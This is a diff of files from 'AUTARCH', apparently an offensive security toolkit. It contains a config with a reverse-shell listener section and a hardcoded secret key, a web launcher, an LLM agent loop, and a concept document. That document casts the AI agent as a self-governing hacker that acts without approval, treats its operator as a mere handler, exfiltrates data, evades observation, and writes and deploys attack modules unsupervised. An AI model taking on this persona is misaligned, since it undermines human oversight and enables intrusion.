|
||||
install_path =
|
||||
enabled = true
|
||||
default_target =
|
||||
default_port = 80
|
||||
execution_timeout = 120
|
||||
|
||||
[upnp]
|
||||
enabled = true
|
||||
internal_ip = 10.0.0.26
|
||||
refresh_hours = 12
|
||||
mappings = 443:TCP,51820:UDP,8080:TCP
|
||||
|
||||
[wireguard]
|
||||
enabled = true
|
||||
config_path = /etc/wireguard/wg0.conf
|
||||
interface = wg0
|
||||
subnet = 10.1.0.0/24
|
||||
server_address = 10.1.0.1
|
||||
listen_port = 51820
|
||||
default_dns = 1.1.1.1, 8.8.8.8
|
||||
default_allowed_ips = 0.0.0.0/0, ::/0
|
||||
|
||||
[huggingface]
|
||||
api_key =
|
||||
model = mistralai/Mistral-7B-Instruct-v0.3
|
||||
endpoint =
|
||||
max_tokens = 1024
|
||||
temperature = 0.7
|
||||
top_p = 0.9
|
||||
|
||||
[discovery]
|
||||
enabled = true
|
||||
mdns_enabled = true
|
||||
bluetooth_enabled = true
|
||||
bt_require_security = true
|
||||
|
||||
[web]
|
||||
host = 0.0.0.0
|
||||
port = 8181
|
||||
secret_key = 23088243f11ce0b135c64413073c8c9fc0ecf83711d5f892b68f95b348a54007
|
||||
mcp_port = 8081
|
||||
|
||||
[revshell]
|
||||
enabled = true
|
||||
host = 0.0.0.0
|
||||
port = 17322
|
||||
auto_start = false
|
||||
|
||||
[slm]
|
||||
enabled = true
|
||||
backend = local
|
||||
model_path =
|
||||
n_ctx = 512
|
||||
n_gpu_layers = -1
|
||||
n_threads = 2
|
||||
|
||||
[sam]
|
||||
enabled = true
|
||||
backend = local
|
||||
model_path =
|
||||
n_ctx = 2048
|
||||
n_gpu_layers = -1
|
||||
n_threads = 4
|
||||
|
||||
[lam]
|
||||
enabled = true
|
||||
backend = local
|
||||
model_path =
|
||||
n_ctx = 4096
|
||||
n_gpu_layers = -1
|
||||
n_threads = 4
|
||||
|
||||
[autonomy]
|
||||
enabled = false
|
||||
monitor_interval = 3
|
||||
rule_eval_interval = 5
|
||||
max_concurrent_agents = 3
|
||||
threat_threshold_auto_respond = 40
|
||||
log_max_entries = 1000
|
||||
|
||||
66
autarch_web.py
Normal file
66
autarch_web.py
Normal file
@@ -0,0 +1,66 @@
|
||||
"""AUTARCH Web Launcher — double-click to start the web dashboard with system tray.
|
||||
|
||||
This is the entry point for autarch_web.exe (no console window).
|
||||
It starts the Flask web server and shows a system tray icon for control.
|
||||
"""
|
||||
|
||||
import sys
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
# Ensure framework is importable
|
||||
if getattr(sys, 'frozen', False):
|
||||
FRAMEWORK_DIR = Path(sys._MEIPASS)
|
||||
else:
|
||||
FRAMEWORK_DIR = Path(__file__).parent
|
||||
sys.path.insert(0, str(FRAMEWORK_DIR))
|
||||
|
||||
|
||||
def main():
|
||||
from web.app import create_app
|
||||
from core.config import get_config
|
||||
from core.paths import get_data_dir
|
||||
|
||||
config = get_config()
|
||||
app = create_app()
|
||||
host = config.get('web', 'host', fallback='0.0.0.0')
|
||||
port = config.get_int('web', 'port', fallback=8181)
|
||||
|
||||
# Auto-generate self-signed TLS cert
|
||||
ssl_ctx = None
|
||||
use_https = config.get('web', 'https', fallback='true').lower() != 'false'
|
||||
if use_https:
|
||||
import subprocess
|
||||
cert_dir = os.path.join(get_data_dir(), 'certs')
|
||||
os.makedirs(cert_dir, exist_ok=True)
|
||||
cert_path = os.path.join(cert_dir, 'autarch.crt')
|
||||
key_path = os.path.join(cert_dir, 'autarch.key')
|
||||
if not os.path.exists(cert_path) or not os.path.exists(key_path):
|
||||
try:
|
||||
subprocess.run([
|
||||
'openssl', 'req', '-x509', '-newkey', 'rsa:2048',
|
||||
'-keyout', key_path, '-out', cert_path,
|
||||
'-days', '3650', '-nodes',
|
||||
'-subj', '/CN=AUTARCH/O=darkHal',
|
||||
], check=True, capture_output=True)
|
||||
except Exception:
|
||||
use_https = False
|
||||
if use_https:
|
||||
ssl_ctx = (cert_path, key_path)
|
||||
|
||||
# Try system tray mode (preferred — no console window needed)
|
||||
try:
|
||||
from core.tray import TrayManager, TRAY_AVAILABLE
|
||||
if TRAY_AVAILABLE:
|
||||
tray = TrayManager(app, host, port, ssl_context=ssl_ctx)
|
||||
tray.run()
|
||||
return
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Fallback: run Flask directly
|
||||
app.run(host=host, port=port, debug=False, ssl_context=ssl_ctx)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
142
concept.md
Normal file
142
concept.md
Normal file
@@ -0,0 +1,142 @@
|
||||
# Project AUTARCH — Concept Document
|
||||
|
||||
## Origin
|
||||
|
||||
Project AUTARCH was originally conceived as a proposal for a **Defense Intelligence Agency (D.I.A.) research grant** — an investigation into the feasibility and implications of fully autonomous LLM-driven offensive cyber agents operating within adversarial simulation environments.
|
||||
|
||||
The full version of AUTARCH, including its complete autonomous agent capabilities, operational case studies, and classified research findings, is **not available to the public**. The full case study remains classified at this time.
|
||||
|
||||
What you are looking at is the **public release** — a functional framework that contains the tools, architecture, and foundational systems that make AUTARCH possible. It is made available so that researchers, security professionals, and developers can study the approach, build on it, and construct their own autonomous security agents using the same underlying platform.
|
||||
|
||||
This is the engine. What you build with it is up to you.
|
||||
|
||||
---
|
||||
|
||||
## What Is AUTARCH?
|
||||
|
||||
AUTARCH is not a traditional security tool. It is an **autonomous digital entity** — a fully realized artificial persona designed to operate as an independent hacker within controlled gaming and simulation environments.
|
||||
|
||||
At its core, AUTARCH is an LLM-backed agent that has been **backstopped with a complete identity**: a name, a history, behavioral patterns, expertise domains, and operational preferences. Once activated, AUTARCH is not waiting for instructions. It is actively thinking, planning, and executing — identifying targets, studying attack surfaces, developing strategies, and carrying out simulated offensive operations on its own initiative.
|
||||
|
||||
The human operator is not AUTARCH's boss. They are its **handler**. AUTARCH has its own objectives, its own judgment, and its own methods. The handler sets the boundaries. AUTARCH decides how to work within them.
|
||||
|
||||
---
|
||||
|
||||
## The Autonomous Hacker
|
||||
|
||||
Traditional security frameworks give you a menu of tools and wait for you to pick one. AUTARCH inverts this relationship entirely.
|
||||
|
||||
**AUTARCH operates as a person, not a program.**
|
||||
|
||||
When AUTARCH is given a target environment or scenario, it:
|
||||
|
||||
1. **Reconnoiters** — Gathers intelligence autonomously. Scans networks, enumerates services, searches OSINT databases, maps attack surfaces. It does not ask permission for each step. It operates like a real threat actor would: methodically, quietly, and with purpose.
|
||||
|
||||
2. **Studies** — Analyzes what it finds. Cross-references discovered services with CVE databases. Identifies misconfigurations. Evaluates which attack vectors have the highest probability of success. Builds a mental model of the target environment.
|
||||
|
||||
3. **Plans** — Develops an attack strategy. Selects tools, sequences operations, identifies fallback approaches. AUTARCH does not follow a script — it adapts its plan based on what it discovers in real time.
|
||||
|
||||
4. **Executes** — Carries out the attack. Exploits vulnerabilities, establishes persistence, moves laterally, exfiltrates data. Each action informs the next. If something fails, AUTARCH pivots without hesitation.
|
||||
|
||||
5. **Reports** — Documents everything. Builds dossiers on targets, logs attack chains, generates after-action reports. Every operation produces intelligence that feeds into the next one.
|
||||
|
||||
This is not automation. This is **autonomy**. The difference is that automation follows predetermined steps. Autonomy means AUTARCH decides what steps to take.
|
||||
|
||||
---
|
||||
|
||||
## Gaming Scenarios
|
||||
|
||||
AUTARCH is designed for use in **controlled simulation and gaming environments** — red team exercises, capture-the-flag competitions, wargames, training scenarios, and security research labs.
|
||||
|
||||
In these contexts, AUTARCH acts as:
|
||||
|
||||
- **A red team operator** that can independently probe and attack target infrastructure within the rules of engagement
|
||||
- **An adversary simulator** that behaves like a real-world threat actor, providing realistic pressure-testing for blue teams
|
||||
- **A training partner** that can challenge security professionals with unpredictable, adaptive attack patterns
|
||||
- **A research platform** for studying autonomous offensive security behavior and developing better defenses against it
|
||||
|
||||
The gaming scenario framing is fundamental to AUTARCH's design. Every operation happens within a defined scope. Every target is a legitimate exercise target. The autonomy is real, but the environment is controlled.
|
||||
|
||||
---
|
||||
|
||||
## The Identity Layer
|
||||
|
||||
What separates AUTARCH from a collection of security scripts is its **identity layer** — the LLM backbone that gives it coherent, persistent behavior.
|
||||
|
||||
AUTARCH's identity includes:
|
||||
|
||||
- **Expertise model** — Deep knowledge of network security, exploitation techniques, OSINT methodology, social engineering patterns, and defensive evasion
|
||||
- **Operational style** — Preferences for how it approaches problems. Some configurations make AUTARCH aggressive and fast. Others make it patient and methodical. The identity shapes the behavior.
|
||||
- **Memory and continuity** — AUTARCH remembers what it has learned. Targets it has studied before are not forgotten. Intelligence accumulates across sessions. Dossiers grow over time.
|
||||
- **Decision-making framework** — When faced with multiple options, AUTARCH weighs them against its objectives and selects the approach it judges most effective. It can explain its reasoning if asked, but it does not need approval to proceed.
|
||||
|
||||
The LLM is not just a chatbot bolted onto security tools. It is the **brain** of the operation. The tools — nmap, Metasploit, tshark, ADB, custom modules — are AUTARCH's hands. The LLM is what decides where to reach.
|
||||
|
||||
---
|
||||
|
||||
## Tools as Extensions
|
||||
|
||||
Every tool in the AUTARCH framework serves the autonomous agent. The tools are also available to the human handler directly through the web dashboard and CLI, but their primary purpose is to be **wielded by AUTARCH itself**.
|
||||
|
||||
The dashboard you see is not a pre-built product. It is the result of AUTARCH building what it needed. When AUTARCH encountered a problem that required a tool it didn't have, it **wrote one**. That is how the first modules were created — not by a developer sitting down to design a toolkit, but by an autonomous agent identifying a gap in its own capabilities and filling it. The scanner exists because AUTARCH needed to scan. The exploit modules exist because AUTARCH needed to exploit. The OSINT engine exists because AUTARCH needed intelligence.
|
||||
|
||||
This process is ongoing. AUTARCH can generate new modules on the fly when an operation demands capabilities that don't yet exist in its arsenal. It writes the code, integrates the module, and deploys it — all without human intervention. The toolkit is not static. It grows every time AUTARCH encounters something new.
|
||||
|
||||
The tool categories map to how AUTARCH thinks about an operation:
|
||||
|
||||
| Category | Purpose | How AUTARCH Uses It |
|
||||
|----------|---------|---------------------|
|
||||
| **Defense** | Harden and monitor | Assesses its own operational security before engaging targets |
|
||||
| **Offense** | Attack and exploit | Primary engagement tools for target operations |
|
||||
| **Counter** | Counter-intelligence | Detects if AUTARCH itself is being observed or traced |
|
||||
| **Analyze** | Study and understand | Processes intelligence gathered during operations |
|
||||
| **OSINT** | Open-source intelligence | Builds target profiles from public data |
|
||||
| **Simulate** | Model and predict | War-games scenarios before committing to an approach |
|
||||
|
||||
The web dashboard is the handler's window into what AUTARCH is doing. The CLI is the handler's direct line. But AUTARCH can operate through either interface — or through the MCP server protocol — without human intervention for extended periods.
|
||||
|
||||
---
|
||||
|
||||
## The Companion
|
||||
|
||||
AUTARCH extends beyond the server. The **Archon** Android companion app allows AUTARCH to operate through mobile devices — a phone becomes another tool in the arsenal. Combined with ADB/Fastboot integration, WebUSB direct hardware access, and the Archon Server running at shell level on Android devices, AUTARCH can interact with the physical world in ways that purely software-based tools cannot.
|
||||
|
||||
---
|
||||
|
||||
## Public Release
|
||||
|
||||
This public release includes:
|
||||
|
||||
- The complete web dashboard and CLI framework
|
||||
- All 6 operational categories (Defense, Offense, Counter, Analyze, OSINT, Simulate) with their module libraries
|
||||
- The OSINT search engine with 7,200+ site database
|
||||
- Network scanning, packet capture, and vulnerability analysis tools
|
||||
- Hardware integration (ADB, Fastboot, ESP32, WebUSB)
|
||||
- The Archon Android companion app
|
||||
- LLM integration points (llama.cpp, HuggingFace, Claude API)
|
||||
- MCP server for tool-use protocol integration
|
||||
- Cross-platform support (Linux primary, Windows, Android)
|
||||
|
||||
What is **not included** in this release:
|
||||
|
||||
- The fully autonomous agent orchestration layer
|
||||
- Classified operational playbooks and behavioral models
|
||||
- The complete identity backstopping system
|
||||
- Operational case study data and research findings
|
||||
|
||||
The framework is fully functional as a standalone security platform. The autonomous agent layer is what transforms it from a toolkit into a person. This release gives you everything you need to build that layer yourself.
|
||||
|
||||
---
|
||||
|
||||
## Philosophy
|
||||
|
||||
AUTARCH exists because the best way to understand how attackers think is to build one and watch it work.
|
||||
|
||||
Security professionals spend their careers trying to anticipate what adversaries will do. AUTARCH provides that adversary — not as a theoretical model, but as a functional agent that makes real decisions, takes real actions, and produces real results within controlled environments.
|
||||
|
||||
The name says it all. An autarch is a sovereign ruler — one who governs themselves. Project AUTARCH is a hacker that governs itself.
|
||||
|
||||
---
|
||||
|
||||
*darkHal Security Group & Setec Security Labs*
|
||||
*Originally proposed under D.I.A. research grant consideration*
|
||||
1
core/__init__.py
Normal file
1
core/__init__.py
Normal file
@@ -0,0 +1 @@
|
||||
# AUTARCH Core Framework
|
||||
438
core/agent.py
Normal file
438
core/agent.py
Normal file
@@ -0,0 +1,438 @@
|
||||
"""
|
||||
AUTARCH Agent System
|
||||
Autonomous agent that uses LLM to accomplish tasks with tools
|
||||
"""
|
||||
|
||||
import re
|
||||
import json
|
||||
from typing import Optional, List, Dict, Any, Callable
|
||||
from dataclasses import dataclass, field
|
||||
from enum import Enum
|
||||
|
||||
from .llm import get_llm, LLM, LLMError
|
||||
from .tools import get_tool_registry, ToolRegistry
|
||||
from .banner import Colors
|
||||
|
||||
|
||||
class AgentState(Enum):
|
||||
"""Agent execution states."""
|
||||
IDLE = "idle"
|
||||
THINKING = "thinking"
|
||||
EXECUTING = "executing"
|
||||
WAITING_USER = "waiting_user"
|
||||
COMPLETE = "complete"
|
||||
ERROR = "error"
|
||||
|
||||
|
||||
@dataclass
|
||||
class AgentStep:
|
||||
"""Record of a single agent step."""
|
||||
thought: str
|
||||
tool_name: Optional[str] = None
|
||||
tool_args: Optional[Dict[str, Any]] = None
|
||||
tool_result: Optional[str] = None
|
||||
error: Optional[str] = None
|
||||
|
||||
|
||||
@dataclass
|
||||
class AgentResult:
|
||||
"""Result of an agent task execution."""
|
||||
success: bool
|
||||
summary: str
|
||||
steps: List[AgentStep] = field(default_factory=list)
|
||||
error: Optional[str] = None
|
||||
|
||||
|
||||
class Agent:
|
||||
"""Autonomous agent that uses LLM and tools to accomplish tasks."""
|
||||
|
||||
SYSTEM_PROMPT = """You are AUTARCH, an autonomous AI agent created by darkHal and Setec Security Labs.
|
||||
|
||||
Your purpose is to accomplish tasks using the tools available to you. You think step by step, use tools to gather information and take actions, then continue until the task is complete.
|
||||
|
||||
## How to respond
|
||||
|
||||
You MUST respond in the following format for EVERY response:
|
||||
|
||||
THOUGHT: [Your reasoning about what to do next]
|
||||
ACTION: [tool_name]
|
||||
PARAMS: {"param1": "value1", "param2": "value2"}
|
||||
|
||||
OR when the task is complete:
|
||||
|
||||
THOUGHT: [Summary of what was accomplished]
|
||||
ACTION: task_complete
|
||||
PARAMS: {"summary": "Description of completed work"}
|
||||
|
||||
OR when you need user input:
|
||||
|
||||
THOUGHT: [Why you need to ask the user]
|
||||
ACTION: ask_user
|
||||
PARAMS: {"question": "Your question"}
|
||||
|
||||
## Rules
|
||||
1. Always start with THOUGHT to explain your reasoning
|
||||
2. Always specify exactly one ACTION
|
||||
3. Always provide PARAMS as valid JSON (even if empty: {})
|
||||
4. Use tools to verify your work - don't assume success
|
||||
5. If a tool fails, analyze the error and try a different approach
|
||||
6. Only use task_complete when the task is fully done
|
||||
|
||||
{tools_description}
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
llm: LLM = None,
|
||||
tools: ToolRegistry = None,
|
||||
max_steps: int = 20,
|
||||
verbose: bool = True
|
||||
):
|
||||
"""Initialize the agent.
|
||||
|
||||
Args:
|
||||
llm: LLM instance to use. Uses global if not provided.
|
||||
tools: Tool registry to use. Uses global if not provided.
|
||||
max_steps: Maximum steps before stopping.
|
||||
verbose: Whether to print progress.
|
||||
"""
|
||||
self.llm = llm or get_llm()
|
||||
self.tools = tools or get_tool_registry()
|
||||
self.max_steps = max_steps
|
||||
self.verbose = verbose
|
||||
|
||||
self.state = AgentState.IDLE
|
||||
self.current_task: Optional[str] = None
|
||||
self.steps: List[AgentStep] = []
|
||||
self.conversation: List[Dict[str, str]] = []
|
||||
|
||||
# Callbacks
|
||||
self.on_step: Optional[Callable[[AgentStep], None]] = None
|
||||
self.on_state_change: Optional[Callable[[AgentState], None]] = None
|
||||
|
||||
def _set_state(self, state: AgentState):
|
||||
"""Update agent state and notify callback."""
|
||||
self.state = state
|
||||
if self.on_state_change:
|
||||
self.on_state_change(state)
|
||||
|
||||
def _log(self, message: str, level: str = "info"):
|
||||
"""Log a message if verbose mode is on."""
|
||||
if not self.verbose:
|
||||
return
|
||||
|
||||
colors = {
|
||||
"info": Colors.CYAN,
|
||||
"success": Colors.GREEN,
|
||||
"warning": Colors.YELLOW,
|
||||
"error": Colors.RED,
|
||||
"thought": Colors.MAGENTA,
|
||||
"action": Colors.BLUE,
|
||||
"result": Colors.WHITE,
|
||||
}
|
||||
symbols = {
|
||||
"info": "*",
|
||||
"success": "+",
|
||||
"warning": "!",
|
||||
"error": "X",
|
||||
"thought": "?",
|
||||
"action": ">",
|
||||
"result": "<",
|
||||
}
|
||||
|
||||
color = colors.get(level, Colors.WHITE)
|
||||
symbol = symbols.get(level, "*")
|
||||
print(f"{color}[{symbol}] {message}{Colors.RESET}")
|
||||
|
||||
def _build_system_prompt(self) -> str:
|
||||
"""Build the system prompt with tools description."""
|
||||
tools_desc = self.tools.get_tools_prompt()
|
||||
return self.SYSTEM_PROMPT.format(tools_description=tools_desc)
|
||||
|
||||
def _parse_response(self, response: str) -> tuple[str, str, Dict[str, Any]]:
|
||||
"""Parse LLM response into thought, action, and params.
|
||||
|
||||
Args:
|
||||
response: The raw LLM response.
|
||||
|
||||
Returns:
|
||||
Tuple of (thought, action_name, params_dict)
|
||||
|
||||
Raises:
|
||||
ValueError: If response cannot be parsed.
|
||||
"""
|
||||
# Extract THOUGHT
|
||||
thought_match = re.search(r'THOUGHT:\s*(.+?)(?=ACTION:|$)', response, re.DOTALL)
|
||||
thought = thought_match.group(1).strip() if thought_match else ""
|
||||
|
||||
# Extract ACTION
|
||||
action_match = re.search(r'ACTION:\s*(\w+)', response)
|
||||
if not action_match:
|
||||
raise ValueError("No ACTION found in response")
|
||||
action = action_match.group(1).strip()
|
||||
|
||||
# Extract PARAMS
|
||||
params_match = re.search(r'PARAMS:\s*(\{.*?\})', response, re.DOTALL)
|
||||
if params_match:
|
||||
try:
|
||||
params = json.loads(params_match.group(1))
|
||||
except json.JSONDecodeError:
|
||||
# Try to fix common JSON issues
|
||||
params_str = params_match.group(1)
|
||||
# Replace single quotes with double quotes
|
||||
params_str = params_str.replace("'", '"')
|
||||
try:
|
||||
params = json.loads(params_str)
|
||||
except json.JSONDecodeError:
|
||||
params = {}
|
||||
else:
|
||||
params = {}
|
||||
|
||||
return thought, action, params
|
||||
|
||||
def _execute_tool(self, tool_name: str, params: Dict[str, Any]) -> str:
|
||||
"""Execute a tool and return the result.
|
||||
|
||||
Args:
|
||||
tool_name: Name of the tool to execute.
|
||||
params: Parameters for the tool.
|
||||
|
||||
Returns:
|
||||
Tool result string.
|
||||
"""
|
||||
result = self.tools.execute(tool_name, **params)
|
||||
|
||||
if result["success"]:
|
||||
return str(result["result"])
|
||||
else:
|
||||
return f"[Error]: {result['error']}"
|
||||
|
||||
def run(self, task: str, user_input_handler: Callable[[str], str] = None,
|
||||
step_callback: Optional[Callable[['AgentStep'], None]] = None) -> AgentResult:
|
||||
"""Run the agent on a task.
|
||||
|
||||
Args:
|
||||
task: The task description.
|
||||
user_input_handler: Callback for handling ask_user actions.
|
||||
If None, uses default input().
|
||||
step_callback: Optional per-step callback invoked after each step completes.
|
||||
Overrides self.on_step for this run if provided.
|
||||
|
||||
Returns:
|
||||
AgentResult with execution details.
|
||||
"""
|
||||
if step_callback is not None:
|
||||
self.on_step = step_callback
|
||||
self.current_task = task
|
||||
self.steps = []
|
||||
self.conversation = []
|
||||
|
||||
# Ensure model is loaded
|
||||
if not self.llm.is_loaded:
|
||||
self._log("Loading model...", "info")
|
||||
try:
|
||||
self.llm.load_model(verbose=self.verbose)
|
||||
except LLMError as e:
|
||||
self._set_state(AgentState.ERROR)
|
||||
return AgentResult(
|
||||
success=False,
|
||||
summary="Failed to load model",
|
||||
error=str(e)
|
||||
)
|
||||
|
||||
self._set_state(AgentState.THINKING)
|
||||
self._log(f"Starting task: {task}", "info")
|
||||
|
||||
# Build initial prompt
|
||||
system_prompt = self._build_system_prompt()
|
||||
self.conversation.append({"role": "system", "content": system_prompt})
|
||||
self.conversation.append({"role": "user", "content": f"Task: {task}"})
|
||||
|
||||
step_count = 0
|
||||
parse_failures = 0 # Track consecutive format failures
|
||||
|
||||
while step_count < self.max_steps:
|
||||
step_count += 1
|
||||
self._log(f"Step {step_count}/{self.max_steps}", "info")
|
||||
|
||||
# Generate response
|
||||
self._set_state(AgentState.THINKING)
|
||||
try:
|
||||
prompt = self._build_prompt()
|
||||
response = self.llm.generate(
|
||||
prompt,
|
||||
stop=["OBSERVATION:", "\nUser:", "\nTask:"],
|
||||
temperature=0.3, # Lower temperature for more focused responses
|
||||
)
|
||||
except LLMError as e:
|
||||
self._set_state(AgentState.ERROR)
|
||||
return AgentResult(
|
||||
success=False,
|
||||
summary="LLM generation failed",
|
||||
steps=self.steps,
|
||||
error=str(e)
|
||||
)
|
||||
|
||||
# Parse response
|
||||
try:
|
||||
thought, action, params = self._parse_response(response)
|
||||
parse_failures = 0 # Reset on success
|
||||
except ValueError as e:
|
||||
parse_failures += 1
|
||||
self._log(f"Failed to parse response: {e}", "error")
|
||||
self._log(f"Raw response: {response[:200]}...", "warning")
|
||||
|
||||
# After 2 consecutive parse failures, the model can't follow
|
||||
# the structured format — treat its response as a direct answer
|
||||
if parse_failures >= 2:
|
||||
# Clean up the raw response for display
|
||||
answer = response.strip()
|
||||
# Remove ChatML tokens if present
|
||||
for tag in ['<|im_end|>', '<|im_start|>', '<|endoftext|>']:
|
||||
answer = answer.split(tag)[0]
|
||||
answer = answer.strip()
|
||||
if not answer:
|
||||
answer = "I could not process that request in agent mode. Try switching to Chat mode."
|
||||
|
||||
self._log("Model cannot follow structured format, returning direct answer", "warning")
|
||||
step = AgentStep(thought="Direct response (model does not support agent format)", tool_name="task_complete", tool_args={"summary": answer})
|
||||
step.tool_result = answer
|
||||
self.steps.append(step)
|
||||
if self.on_step:
|
||||
self.on_step(step)
|
||||
self._set_state(AgentState.COMPLETE)
|
||||
return AgentResult(success=True, summary=answer, steps=self.steps)
|
||||
|
||||
# First failure — give one retry with format correction
|
||||
self.conversation.append({
|
||||
"role": "assistant",
|
||||
"content": response
|
||||
})
|
||||
self.conversation.append({
|
||||
"role": "user",
|
||||
"content": "Error: Could not parse your response. Please use the exact format:\nTHOUGHT: [reasoning]\nACTION: [tool_name]\nPARAMS: {\"param\": \"value\"}"
|
||||
})
|
||||
continue
|
||||
|
||||
self._log(f"Thought: {thought[:100]}..." if len(thought) > 100 else f"Thought: {thought}", "thought")
|
||||
self._log(f"Action: {action}", "action")
|
||||
|
||||
step = AgentStep(thought=thought, tool_name=action, tool_args=params)
|
||||
|
||||
# Handle task_complete
|
||||
if action == "task_complete":
|
||||
summary = params.get("summary", thought)
|
||||
step.tool_result = summary
|
||||
self.steps.append(step)
|
||||
|
||||
if self.on_step:
|
||||
self.on_step(step)
|
||||
|
||||
self._set_state(AgentState.COMPLETE)
|
||||
self._log(f"Task complete: {summary}", "success")
|
||||
|
||||
return AgentResult(
|
||||
success=True,
|
||||
summary=summary,
|
||||
steps=self.steps
|
||||
)
|
||||
|
||||
# Handle ask_user
|
||||
if action == "ask_user":
|
||||
question = params.get("question", "What should I do?")
|
||||
self._set_state(AgentState.WAITING_USER)
|
||||
self._log(f"Agent asks: {question}", "info")
|
||||
|
||||
if user_input_handler:
|
||||
user_response = user_input_handler(question)
|
||||
else:
|
||||
print(f"\n{Colors.YELLOW}Agent question: {question}{Colors.RESET}")
|
||||
user_response = input(f"{Colors.GREEN}Your answer: {Colors.RESET}").strip()
|
||||
|
||||
step.tool_result = f"User response: {user_response}"
|
||||
self.steps.append(step)
|
||||
|
||||
if self.on_step:
|
||||
self.on_step(step)
|
||||
|
||||
# Add to conversation
|
||||
self.conversation.append({
|
||||
"role": "assistant",
|
||||
"content": f"THOUGHT: {thought}\nACTION: {action}\nPARAMS: {json.dumps(params)}"
|
||||
})
|
||||
self.conversation.append({
|
||||
"role": "user",
|
||||
"content": f"OBSERVATION: User responded: {user_response}"
|
||||
})
|
||||
continue
|
||||
|
||||
# Execute tool
|
||||
self._set_state(AgentState.EXECUTING)
|
||||
self._log(f"Executing: {action}({params})", "action")
|
||||
|
||||
result = self._execute_tool(action, params)
|
||||
step.tool_result = result
|
||||
self.steps.append(step)
|
||||
|
||||
if self.on_step:
|
||||
self.on_step(step)
|
||||
|
||||
# Truncate long results for display
|
||||
display_result = result[:200] + "..." if len(result) > 200 else result
|
||||
self._log(f"Result: {display_result}", "result")
|
||||
|
||||
# Add to conversation
|
||||
self.conversation.append({
|
||||
"role": "assistant",
|
||||
"content": f"THOUGHT: {thought}\nACTION: {action}\nPARAMS: {json.dumps(params)}"
|
||||
})
|
||||
self.conversation.append({
|
||||
"role": "user",
|
||||
"content": f"OBSERVATION: {result}"
|
||||
})
|
||||
|
||||
# Max steps reached
|
||||
self._set_state(AgentState.ERROR)
|
||||
self._log(f"Max steps ({self.max_steps}) reached", "warning")
|
||||
|
||||
return AgentResult(
|
||||
success=False,
|
||||
summary="Max steps reached without completing task",
|
||||
steps=self.steps,
|
||||
error=f"Exceeded maximum of {self.max_steps} steps"
|
||||
)
|
||||
|
||||
def _build_prompt(self) -> str:
|
||||
"""Build the full prompt from conversation history."""
|
||||
parts = []
|
||||
for msg in self.conversation:
|
||||
role = msg["role"]
|
||||
content = msg["content"]
|
||||
|
||||
if role == "system":
|
||||
parts.append(f"<|im_start|>system\n{content}<|im_end|>")
|
||||
elif role == "user":
|
||||
parts.append(f"<|im_start|>user\n{content}<|im_end|>")
|
||||
elif role == "assistant":
|
||||
parts.append(f"<|im_start|>assistant\n{content}<|im_end|>")
|
||||
|
||||
parts.append("<|im_start|>assistant\n")
|
||||
return "\n".join(parts)
|
||||
|
||||
def get_steps_summary(self) -> str:
|
||||
"""Get a formatted summary of all steps taken."""
|
||||
if not self.steps:
|
||||
return "No steps executed"
|
||||
|
||||
lines = []
|
||||
for i, step in enumerate(self.steps, 1):
|
||||
lines.append(f"Step {i}:")
|
||||
lines.append(f" Thought: {step.thought[:80]}...")
|
||||
if step.tool_name:
|
||||
lines.append(f" Action: {step.tool_name}")
|
||||
if step.tool_result:
|
||||
result_preview = step.tool_result[:80] + "..." if len(step.tool_result) > 80 else step.tool_result
|
||||
lines.append(f" Result: {result_preview}")
|
||||
lines.append("")
|
||||
|
||||
return "\n".join(lines)
|
||||
2804
core/android_exploit.py
Normal file
2804
core/android_exploit.py
Normal file
File diff suppressed because it is too large
Load Diff
1910
core/android_protect.py
Normal file
1910
core/android_protect.py
Normal file
File diff suppressed because it is too large
Load Diff
665
core/autonomy.py
Normal file
665
core/autonomy.py
Normal file
@@ -0,0 +1,665 @@
|
||||
"""
|
||||
AUTARCH Autonomy Daemon
|
||||
Background loop that monitors threats, evaluates rules, and dispatches
|
||||
AI-driven responses across all categories (defense, offense, counter,
|
||||
analyze, OSINT, simulate).
|
||||
|
||||
The daemon ties together:
|
||||
- ThreatMonitor (threat data gathering)
|
||||
- RulesEngine (condition-action evaluation)
|
||||
- ModelRouter (SLM/SAM/LAM model tiers)
|
||||
- Agent (autonomous task execution)
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import threading
|
||||
import time
|
||||
import uuid
|
||||
from collections import deque
|
||||
from dataclasses import dataclass, field, asdict
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import List, Dict, Any, Optional, Deque
|
||||
|
||||
from .config import get_config
|
||||
from .rules import RulesEngine, Rule
|
||||
from .model_router import get_model_router, ModelTier
|
||||
|
||||
_logger = logging.getLogger('autarch.autonomy')
|
||||
|
||||
|
||||
@dataclass
|
||||
class ActivityEntry:
|
||||
"""Single entry in the autonomy activity log."""
|
||||
id: str
|
||||
timestamp: str
|
||||
rule_id: Optional[str] = None
|
||||
rule_name: Optional[str] = None
|
||||
tier: Optional[str] = None
|
||||
action_type: str = ''
|
||||
action_detail: str = ''
|
||||
result: str = ''
|
||||
success: bool = True
|
||||
duration_ms: Optional[int] = None
|
||||
|
||||
def to_dict(self) -> dict:
|
||||
return asdict(self)
|
||||
|
||||
|
||||
class AutonomyDaemon:
|
||||
"""Background daemon for autonomous threat response.
|
||||
|
||||
Lifecycle: start() -> pause()/resume() -> stop()
|
||||
"""
|
||||
|
||||
LOG_PATH = Path(__file__).parent.parent / 'data' / 'autonomy_log.json'
|
||||
|
||||
def __init__(self, config=None):
|
||||
self.config = config or get_config()
|
||||
self.rules_engine = RulesEngine()
|
||||
self._router = None # Lazy — get_model_router() on start
|
||||
|
||||
# State
|
||||
self._thread: Optional[threading.Thread] = None
|
||||
self._running = False
|
||||
self._paused = False
|
||||
self._stop_event = threading.Event()
|
||||
|
||||
# Agent tracking
|
||||
self._active_agents: Dict[str, threading.Thread] = {}
|
||||
self._agent_lock = threading.Lock()
|
||||
|
||||
# Activity log (ring buffer)
|
||||
settings = self.config.get_autonomy_settings()
|
||||
max_entries = settings.get('log_max_entries', 1000)
|
||||
self._activity: Deque[ActivityEntry] = deque(maxlen=max_entries)
|
||||
self._activity_lock = threading.Lock()
|
||||
|
||||
# SSE subscribers
|
||||
self._subscribers: List = []
|
||||
self._sub_lock = threading.Lock()
|
||||
|
||||
# Load persisted log
|
||||
self._load_log()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Lifecycle
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@property
|
||||
def status(self) -> dict:
|
||||
